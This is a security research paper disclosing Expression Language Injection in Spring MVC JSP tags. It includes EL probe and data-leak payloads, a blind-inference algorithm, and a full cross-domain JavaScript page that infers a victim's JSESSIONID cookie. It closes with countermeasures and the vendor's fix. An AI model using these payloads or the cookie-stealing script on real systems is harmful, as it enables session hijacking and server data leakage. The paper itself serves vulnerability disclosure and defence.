# Expression Language Injection

Stefano Di Paola, Minded Security
Arshan Dabirsiaghi, Aspect Security

# Table of Contents


- Expression Language Injection
- Table of Contents
- 1. Introduction
  - 1.1 Expression Language
  - 1.2 Where is JSP EL Used?
- 2. Related Work
- 3. Injecting JSP EL
  - 3.1 Testing for Expression Language Injection Vulnerability
  - 3.2 Reading Information
    - 3.2.1 Default Scopes
    - 3.2.2 Other Scopes
    - 3.2.3 Limits of EL Resolution
    - 3.2.4 Abuse Scenario #1: Server data leakage
    - 3.2.5 Abuse Scenario #2: Application data leakage
    - 3.2.6 Abuse Scenario #3: HttpOnly bypass
    - 3.2.7 Persistent Expression Language Injection
- 4. Blind Injection
  - 4.1 Inferring Values Via Direct Requests
  - 4.2 Inferring User's Secrets via Cross Domain Requests
- 5. Open Source Examples
- 6. Countermeasures
- 7. Conclusions
- 8. References
- 9. Authors

# 1. Introduction

This paper discusses an undocumented vulnerability class called “Expression Language Injection”, which occurs when attackers control data that is evaluated by an Expression Language (EL) interpreter. It is likely that individuals have performed attacks against EL interpreters used in the past but new, specific attacks against Spring MVC JSP tags are discussed, and the techniques are generally applicable. A new technique for automatic enumeration of server-side data accessible through EL is also introduced.

## 1.1 Expression Language

To provide easy ways of outputting data from an object model that more closely resembles pure scripting languages, “Expression Language” (EL) was developed as part of JSTL (Java Server Pages Standard Tag Library) [1]. Here is an example EL snippet:

```
<c:out value="person.address.street"/>
```

This snippet finds the Java object (also called a “bean” or “model”) that’s in the current scope under the name of “person”, looks up a member object called “address” by looking for a getter method named “getAddress()”, and furthermore finds the “street” member of that object using the same method search pattern. After showing the equivalent scriptlet used to print the same data, it’s easy to see its utility:

```
<%=HTMLEncoder.encode(((Person)person).getAddress().getStreet())%>
```

This technique would also force the page to explicitly import the Person object, which unnecessarily couples the view to the model when all that’s needed is simple access to the bean’s attributes.

Only since the JSP 2.0 specification has EL been available within JSP pages directly, and that’s still how it’s used in most cases. However, it can and has been used in non-view use cases.

## 1.2 Where is JSP EL Used?

JSP EL is a specification (JSR-245 and JSR 252 [2]) and there are many implementations:

- *JSP 2.0/2.1*: Used by most recently built applications, and delivered as part of the JSTL.
- *Jakarta*: An older EL implementation built by Apache.
- *OGNL*: A powerful EL popularized by Struts2/WebWork.
- *MVEL*: A general purpose EL usable for console applications.
- *SPEL*: Spring’s custom EL for scripting (not used in JSPs).

# 2. Related Work

Meder Kydyraliev abused unchecked and automatic interpretation of OGNL expression language in request parameters in Struts2 [5]. OGNL exposes many stateful operations which eventually yielded remote command execution.

Dinis Cruz wrote about insecure Spring MVC autobinding patterns which could be used to get user data into unexpected bean properties. This could be used to accomplish EL injection in more places [14].

# 3. Injecting JSP EL

A simple use case of JSP EL within a Spring MVC JSP tag is the following:

```
...
<spring:message scope="${param.foo}"/>
...
```

This will cause the JSP to echo the value of "foo" request parameter to the browser. Since it will be encoded, there is no risk for XSS. However, this particular tag will evaluate any nested JSP EL found *within* the "scope" attribute, as shown by the following code from **org.springframework.web.servlet.tags.MessageTag [9]**[13]**:**

```
protected final int doStartTagInternal() throws JspException, IOException {
  try {
    String msg = resolveMessage();

    msg = isHtmlEscape() ? HtmlUtils.htmlEscape(msg) : msg;
    msg = this.javaScriptEscape ? JavaScriptUtils.javaScriptEscape(msg) : msg;

    String resolvedVar = ExpressionEvaluationUtils.evaluateString("var", this.var,
this.pageContext);
    if (resolvedVar != null) {
      String resolvedScope = ExpressionEvaluationUtils.evaluateString("scope",
this.scope, this.pageContext);
    this.pageContext.setAttribute(resolvedVar, msg, TagUtils.getScope(resolvedScope)
);
  …
```

In other words, the values passed to these tags are "double evaluated", which is probably not what the developers intends. Because of that, attackers can provide EL within their input that will be evaluated by the server and sent back down to the client. Abusing this behavior to trick the server into leaking information is an attack we're calling Expression Language Injection.

By looking for similar patterns in the Spring MVC code it's possible to find similar implementations on several tag attribute definitions. The following table highlights tags which exhibit the dangerous double evaluation behavior in Spring MVC 2.x and 3.0[1]:

| Tag | Attributes |
|---|---|
| <spring:hasBindErrors> | name |

[1] New versions of Spring MVC could introduce new potentially vulnerable tags which are not covered in this paper.

| | |
|---|---|
| <spring:bind> | path |
| <spring:message> | arguments, code, text, var, scope, message |
| <spring:theme> | arguments, code, text, var, scope, message |
| <spring:nestedpath> | path |
| <spring:transform> | var, scope, value |

The vulnerable pattern for EL injection would involve a JSP that contains one or more of the above Spring tag and attribute combinations with some user-controlled piece of information, like a request parameter, header, cookie or a bean value that has been populated with untrusted data.

## 3.1 Testing for Expression Language Injection Vulnerability

Depending on the attributes into which the vulnerability is, finding these vulnerabilities in a blackbox testing scenario can be done by sending certainly valid EL such as:

- ${“aaaa”} (the literal string “aaaa”) and then searching the response text for such data without the EL syntax found around it;
- or ${99999+1} and then searching the response text for 100000.

It’s also possible that the EL being interpreted by your payload is expecting a certain legal value (such as as the name of a property key as in <spring:message code=”${value}”/>). In this case, it’s very likely that the EL injected will reference an invalid key and cause an exception.
If a generic error message is shown, and the application is using Spring, chances are good that the field is vulnerable to injection.

## 3.2 Reading Information

This section discusses options and limitations for attackers who can inject arbitrary EL.

### 3.2.1 Default Scopes

Even though an unfortunate amount of data is always available to attackers that can read the results of injected EL, there may be severely harmful data available to attackers depending on what’s “laying around” in scope and what resolvers are active in the application. There is a default set of implicitly defined scopes [3] that will contain internal server information:

- *applicationScope*: global variables.
- *requestScope*: request attributes.
- *sessionScope*: normal session variables.
- *pageScope*: variables necessary for this page alone (not included pages or parents).

- *initParam*:parameters used to initialize this servlet from web.xml.

A live demonstration page is available for interested readers [16].

### 3.2.2 Other Scopes

Applications can also register their own resolvers which will allow other scopes (or other properties of existing scopes) to be made available.

Spring provides optional resolvers to expose its own beans via the web application context with SpringBeanFacesELResolver and WebApplicationContextFacesELResolver [7] [8] (under the scope "webApplicationContext"). These allow all registered Spring beans of all types to be read with EL. This pattern is extremely dangerous since an EL injection vulnerability would allow an attacker to inspect properties of beans unrelated to the view of the application containing sensitive information

There may be other scopes introduced by technologies in the target's stack. For example, Spring WebFlow's ImplicitFlowVariableELResolver.java [6] exposes many scopes. In the implementation many of these are technically redundant, but for completeness here is the list of scopes available:

- *requestParameters*
- *flashScope*
- *viewScope*
- *flowScope*
- *conversationScope*
- *messageContext*
- *externalContext*
- *flowExecutionContext*
- *flowExecutionUrl*
- *currentUser*
- *currentEvent*

Here is a snippet from the Spring Faces documentation regarding their increased EL capability [8]:

> *"This allows for JSF users to use the same expression language in their flow definitions as in their JSF views, and to have access to the full chain of JSF resolvers for expression evaluation."*

Technologies other than Spring can also provide unexpected resolvers. For instance, there is an Apache library that adds an "applicationContext" scope [7] that also exposes all Spring beans.

### 3.2.3 Limits of EL Resolution

It's worth noting the limits of standard EL resolution. The following is a list of standard resolvers

set forth by the Unified Expression Language, retrieved from [4].

| | | |
|---|---|---|
| `ArrayELResolver` | `${myArray[1]}` | Returns the value at index 1 in the array called `myArray` |
| `BeanELResolver` | `${employee.lName}` | Returns the value of the `lName` property of the `employee` bean |
| `ListELResolver` | `${myList[5]}` | Returns the value at index 5 of `myList` list |
| `MapELResolver` | `${myMap.someKey}` | Returns the value stored at the key, `someKey`, in the `Map`, `myMap` |
| `ResourceBundleELResolver` | `${myRB.myKey}` | Returns the message at `myKey` in the resource bundle called `myRB` |

An attacker is limited to whatever operations are possible with the given resolvers. Although there is no contract that such operations be read-only, the specification does not list any operations that well-known have side effects.

The following section dictates some simple attacks when able to executing EL Injection.

### 3.2.4 Abuse Scenario #1: Server data leakage

Assuming the simplest vulnerability possible, let's look at some variables to request which can leak interesting data back:

```
...
<spring:text scope="${param.foo}"/>
...
```

The request parameter "foo" will be interpreted here. The following table shows what happens when the user passes in different, interesting values for that parameter:

| Parameter Value | Explanation | Resulting HTML |
|---|---|---|
| *${applicationScope}* | The toString() of the application scope object contains the classpath and local working directories, among other things. | `...`<br>`{org.apache.catalina.jsp_classpath=/home/arshan/ELInjection/target/ELInjection/WEB-INF/classes/:/home/arshan/ELInjection/target/ELInjection/WEB-INF/lib/`**`aopalliance-1.0.jar:`**`/home/arshan/ELInjection/target/ELInjection/WEB-INF/lib/`**`commons-logging-1.1.1.jar`**<br>`...`<br>`javax.servlet.context.tempdir=`**`/home/arshan/ELInjection/target/tomcat/work/localEngine/localhost/`** |

| | | |
|---|---|---|
| | | **ELInjection**<br>} |
| *${requestScope}* | The toString() of the request scope shows lots of relatively uninteresting things, but may help an attacker fingerprint technologies the the application's virtual URL routing. | {javax.servlet.forward.**query_string=test=messagetext&expr=%24%7BrequestScope%7D,**<br>javax.servlet.forward.request_uri=**/ELInjection/eval.htm,**<br>javax.servlet.forward.servlet_path=**/eval.htm,**<br>...<br>display name [WebApplicationContext for namespace **'vc-servlet'**];<br>startup date [**Tue Jul 19 22:35:58 EEST 2011**];<br>org.springframework.web.servlet.view.InternalResourceView.DISPATCHED_PATH=**eval.jsp**<br>... } |

### 3.2.5 Abuse Scenario #2: Application data leakage

Even within the default scopes, there is very likely to be data to which attackers shouldn't have access.Developers may perform a sub-select on a set containing sensitive information. With JSP EL injection, attackers will be able to retrieve those values that are just "hanging around". Consider this example snippet from The JavaEE 5 Tutorial showing usage of SQL tags:

```
<c:set var="bid" value="${param.Add}"/>
<sql:query var="books" >
    select * from PUBLIC.books where id = ?
    <sql:param value="${bid}" />
</sql:query>
```

The SQL query results are stored in the "books" parameter in the pageContext scope. Given an EL injection, an attacker could read the results from this variable as easily as the developer and get access to other book data. Depending on how the code was written, the connection string or the query itself might also be available. Even savvy developers will not write code to avoid such situations since they'd assume the secrecy of server-side variables.

### 3.2.6 Abuse Scenario #3: HttpOnly bypass

EL Injection can be used to force the server to echo the session cookie back to the browser inside HTML, effectively "bypassing" any HttpOnly protection for application pages vulnerable to cross-site scripting (XSS). Here is an example value that can be injected to read the target's "JSESSIONID" (shown here unencoded in the querystring):

```
http:///vulnerable.com/spring/foo?param=${cookie["JSESSIONID"].value}
```

Of course, it's also possible to use drag-and-drop clickjacking [17] techniques to steal this data

from pages that don’t even contain XSS vulnerabilities.

### 3.2.7 Persistent Expression Language Injection

It’s worth noting that as with most other injection attacks, Expression Language Injection could also be leveraged from user controlled stored data just like persistent XSS or second order SQL injection.

# 4. Blind Injection

Any attack described so far, assumes there is an in-band scenario. In other words, it relies on the fact that the information is displayed back in the server response. This is obviously not always possible, since the application could redirect to another page in case of application errors, or simply does not use that value in the HTML. In that case it is still possible to gather information via EL Injection by taking advantage of inference techniques.

## 4.1 Inferring Values Via Direct Requests

The only thing an attacker needs is a condition expression which returns a legit value in case the condition is true and a unexpected value otherwise.

According to Expression Language definition [1] in the Operators section, the ternary conditional operator is an accepted construct, and therefore it could be used in order to infer values:

> ...
> In addition to the . and [] operators discussed in Variables, the JSP expression language provides the following operators:
> - Arithmetic: +, - (binary), *, / and div, % and mod, - (unary)
> - Logical: and, &&, or, ||, not, !
> - Relational: ==, eq, !=, ne, <, lt, >, gt, <=, ge, >=, le. Comparisons can be made against other values, or against boolean, string, integer, or floating point literals.
> - Empty: The empty operator is a prefix operation that can be used to determine whether a value is null or empty.
> - Conditional: A ? B : C. Evaluate B or C, depending on the result of the evaluation of A.
>
> ...

The latest problem to be solved consists in finding two values that will trigger different responses from the server. In order do this, an attacker can try to abuse conditional and the comparison operator with the following input:

${variableName.value >= ‘charSequence’ ? V1 : V2}

Where:

- **variableName** is the name of the server side attribute the attacker is willing to retrieve the value.
- **charSequence** is a sequence of characters whose length and content is dynamically built according to inference.
- **V1** is a value that will be valid for the EL parser and for the application.
- **V2** is a value that will be valid for the EL parser but will trigger some kind of exception in the underlying code.

The pseudo code of the linear inference algorithm can be described as follows:

```
var charset = ”abcdef...”;
var idx = 0;
var foundSeq = ””;
var payload = “${variableName >= “+foundSeq+” ? ‘V1’ : ‘V2’}”;

while(1){
  If ( response(payload) isFrom V1) {
     idx++;
     payload = “${variableName >= “+foundSeq+charset[idx]+” ? ‘V1’ : ‘V2’}”;
  } else {
     if ( idx > charset.length ) {
        print “found ”+ foundSeq;
        break;
     }
     foundSeq=foundSeq+charset[idx-1];
     idx = 0;
  }
}
```

As any inference algorithm based on > and < comparision operators, it may be improved using binary search algorithm or other optimization techniques, whose implementation goes beyond the scope of this document.

Inference expressions according to attributes:

| **Tags** | **Attribute Name** | **Inference payload example** |
|---|---|---|
| spring:message<br>spring:theme | code<br>text<br>arguments<br>scope | ${Condition?"Ok":1>true} |
| spring:message<br>spring:theme | message | ${Condition?<br>org.springframework.context<br>.MessageSourceResolvable:<br>1>true} |
| spring:bind | path | beanName[2].${Condition?'*':1<br>>true} |
| spring:nestedPath | path | ${Condition?"Ok":1>true} |
| spring:hasBindErrors | name | ${Condition?"Ok":1>true} |
| spring:transform | value<br>var<br>scope | ${Condition?"Ok":1>true} |

[2] where *beanName* is a valid name for an application Bean.

## 4.2 Inferring User's Secrets via Cross Domain Requests

In case a legitimate user has a valid session an attacker can try to infer data by using server status codes and inference via a malicious page on victim's browser.

As will be described, in this scenario the attacker won't need any XSS in order to steal cookies or other sensitive data; it is in fact possible to successfully use Expression Language conditional operators to infer complete values taking advantage of browser response using script events with the following hypothesis:

1. The victim needs to be logged in order to give some secret to share. I.E. her session.
2. Vulnerable server shall return two different status codes, like 200 and 404 or 500.

The following script will try to steal the victim's JSESSIONID cookie from an attacker's off-domain page:

```
<script>
var values="";
var url="http://victimhost/App/page.htm?par=${cookie['JSESSIONID'].value.bytes[|IDX|
]==|VAL|?'d':1>true}";
var map="0123456789ABCDEF"; // map of allowed characters
var idx=-1;
var idx2=-1;
var arr=[]; // this var will store the correct values.
var scr;
var maxLength=32;
var reqNumber=1;

function getNext(){
 return map[idx].charCodeAt(0);
}
function nextChar(){
  idx++;
  return url.replace("|VAL|",getNext()).replace("|IDX|",idx2);
}
function $(id){return document.getElementById(id)}

function createEl(url){
 var scr=document.createElement("script");
 // server returns status 20x: it's a valid value
 scr.onload=function(){
     // let's save the cookie value and position in the array
       arr[this.id]=this.getAttribute("x");
       $("ciphers").innerHTML=arr.length;
       if(arr.length==maxLength)
       $("finalResult").innerHTML="<b>Final Result</b> Your Session
Is: "+arr.join('');
 };
```

```
 scr.id=idx2;
 scr.setAttribute("x",map[idx]);
 scr.src=url;
 $("messages").innerHTML="# of Requests:"+reqNumber;
 reqNumber++;

 return scr
}

function go(){
try{
 // creates a number of scripts to enumerate all characters in all positions.
 for(var j=0;j<32;j++) {

  for(var i=0;i< map.length;i++){
   idx2=j;

   var scr=createEl(nextChar());
   document.body.appendChild(scr);
  }
  idx=-1;// reset the map index
 }
 }catch(r){ }

}
window.onerror=function(){return true;}

</script>
<body onload=go()><style>body {color: white; background-color: black}</style>
<h3>Secret Retrieving via Expression Language Injection Using Client Side
Inference</h3>

This page tries to retrieve victim's JSESSIONID using inference against an
application vulnerable to
Expression Language injection.
<div> See .... for more information. </div>
<div>
<div><b>Attack information:</b> <span id="messages"> </span><br>Found: <span
id="ciphers"> </span></div>
<div id="finalResult"> </div>
</div>
Loading victim server on an iframe just to be sure we have a session.
<div>
<iframe height=1 width=1 src="http://victimhost/App/page.htm"></iframe>
</div>
<div>This page is used for pure demonstration. Use at your own risk!</div>
<div>Authors: Stefano Di Paola and Arshan Dabirsiaghi</div>
<div>Date: July 2011</div>
</body>
```

A live example can be seen on www.wisec.it [15].

# 5. Open Source Examples

A simple Google Code Search query shows that this problem is indeed found in the wild [10]. One of the first results returned from our simple search is from a software package called CAS, an enterprise single-sign on utility. The logout page contains a simple EL Injection vulnerability [11]:

```
<c:if test="${not empty param['url']}">
  <p>
    <spring:message code="screen.logout.redirect"
                    arguments="${param['url']}"/>
      </p>
</c:if>
```

Here the “code” attribute will be used to look up a server-side property file message, and the request parameter “url” will be substituted into it as part of the message. Any valid EL will be evaluated and substituted into the message returned to the user instead of the user-provided value.

Another simple example is from GBIF, a worldwide scientific data collection tool. The login JSP exhibits a similar weakness [12]:

```
<spring:message code="${param['message']}" text=""/>
```

# 6. Countermeasures

As described in Expression Language documentation [1] developers may be tempted to add the following code in JSP to prevent EL Injection attacks

```
<%@ page isELIgnored ="true" %>
```

Unfortunately, this will have the effect of blocking the interpretation of the EL code found in other tags, resulting in incongruities between Spring and other taglibs. In fact, while it will block the double evaluation problem in Spring taglib, only allowing the first pass evaluation, it will also stop the first pass in legitimate cases and very well may cause breakage.

A more effective approach may be to perform data validation best practice against untrusted input and to ensure that output encoding is applied when data arrives on the EL layer, so that no metacharacter is found by the interpreter within the user content before evaluation. The most obvious patterns to detect include “${“ and “#{“, but it may be possible to encode or fragment this data.

Finally, SpringSource received an advance copy of this paper and reacted positively, backporting a fix to all previous vulnerable versions. A description of the fix from their release is quoted here at length:

> *A new context parameter has been added called **springJspExpressionSupport**. When true (the default) the existing behaviour of evaluating EL within the tag will be performed. When running in an environment where EL support is provided by the container, this should be set to false. Note that for Spring Framework 3.1 onwards when running on a Servlet 3.0 or higher container, the correct default will be set automatically. This new attribute is available in:*
>
> - *3.0.6 onwards*
> - *2.5.6.SEC03 onwards (community releases)*
> - *2.5.7.SR02 (subscription customers)*

# 7. Conclusions

Expression Language Injection occurs when user input is evaluated by a J2EE server's Expression Language resolvers, and a common opportunity for this vulnerability to occur today is with the usage of Spring JSP tags.

The impacts of this attack range from a simple HttpOnly bypass to a server-side information leakage technique. This information leakage will differ in severity mostly based on what J2EE technologies are in use and what is in scope of the vulnerable code. One of the most dangerous abuse scenarios involves an attacker controlled page inferring a user's session ID on a browser that's currently logged into the vulnerable application.

It's also been shown that this problem exists in the wild and custom countermeasures can be undertaken, but a fix to the framework itself is available at the time of this paper's release.

# 8. References


[1] The J2EE 1.4 Tutorial. *Expression Language*. http://download.oracle.com/javaee/1.4/tutorial/doc/JSPIntro7.html

[2] Expression Language Specification. *A component of the JavaServer™ Pages Specification.* http://jsp.java.net/spec/jsp-2_1-fr-spec-el.pdf

[3] A JSTL primer, Part 1: The expression language. *Implicit Objects*. http://www.ibm.com/developerworks/java/library/j-jstl0211/index.html#N10147

[4] Unified Expression Language. *Resolving Expressions.* http://download.oracle.com/javaee/5/tutorial/doc/bnahq.html#bnaif

[5] oOo.nu. *CVE-2010-1870: Struts2/XWork Remote Command Execution*. http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html

[6] Google Codesearch. (Search for ImplicitFlowVariableELResolver.java). esearch#VuIw2vEquuM/spring-webflow/trunk/spring-webflow/src/main/java/org/springframework/webflow/expression/el/ImplicitFlowVariableELResolver.javahttp://google.com/cod

[7] Google Codesearch. (Search for ApplicationContextFilter.java). http://google.com/codesearch#coOE0tRomSs/trunk/activemq-web-console/src/main/java/org/apache/activemq/web/filter/ApplicationContextFilter.java

[8] Spring Framework Documentation. *Chapter 6: Spring Faces*. http://static.springsource.org/spring-webflow/docs/2.0-m1/reference/spring-faces.html

[9] Google Codesearch. (Spring tags' usage of EL). http://google.com/codesearch#0CkyFaECr-A/trunk/botnodetoolkit/src/thirdparty/spring/org/springframework/web/util/ExpressionEvaluationUtils.java&q=file:ExpressionEvaluationUtils%5C.java&type=cs&l=131

[10] Google Codesearch. (Simple Search for EL injection vulnerabilities). http://google.com/codesearch search for file:\.jsp <spring:[^\>]*\".*\$\{[^\}]*param

[11] Google Codesearch. (CAS casLogoutView.jsp). http://google.com/codesearch#OLuu2DUNjD0/downloads/cas/cas-server-3.0.7-rc1.tar.gz%7CZO1XDTgQolk/cas-server-3.0.7-rc1/webapp/WEB-INF/view/jsp/default/ui/casLogoutView.jsp&q=file:%5C.jsp%20%3Cspring:.*%5C$%5C%7Bparam

[12] Google Codesearch. (GBIF login.jsp).

http://google.com/codesearch#-u99BboDzf8/trunk/portal-web/src/main/webapp/WEB-INF/jsp/admin/login.jsp&q=file:%5C.jsp%20%3Cspring:.*%5C$%5C%7Bparam&type=cs

[13] Spring Framework Documentation. MessageTag properties (note the “el-support” field). http://static.springsource.org/spring/docs/1.2.x/taglib/tag/MessageTag.html

[14] Ounce Labs. *Two Security Vulnerabilities in the Spring Framework’s MVC*. Berg, R., Cruz, D http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf.

[15] Live Example of Inferring User’s Secrets via Cross Domain Requests http://www.wisec.it/spring/springopt.html.

[16] Live Example of EL Injection Demo Page http://68.169.49.40:18080/ELInjection/demo.htm

[17] Clickjacking, definition http://en.wikipedia.org/wiki/Clickjacking

# 9. Authors

**Stefano Di Paola** is the CTO and a co-founder of Minded Security, where he is responsible for the Research and Development Lab.
Prior to founding Minded Security, Stefano was a freelance security consultant, working for several private, public companies and the University of Florence at the Faculty of Computer Engineering. He has contributed to several sections of the OWASP testing guide and is also the Research & Development Director of OWASP Italian Chapter.

**Arshan Dabirsiaghi** is the Director of Research at Aspect Security, an application security service provider.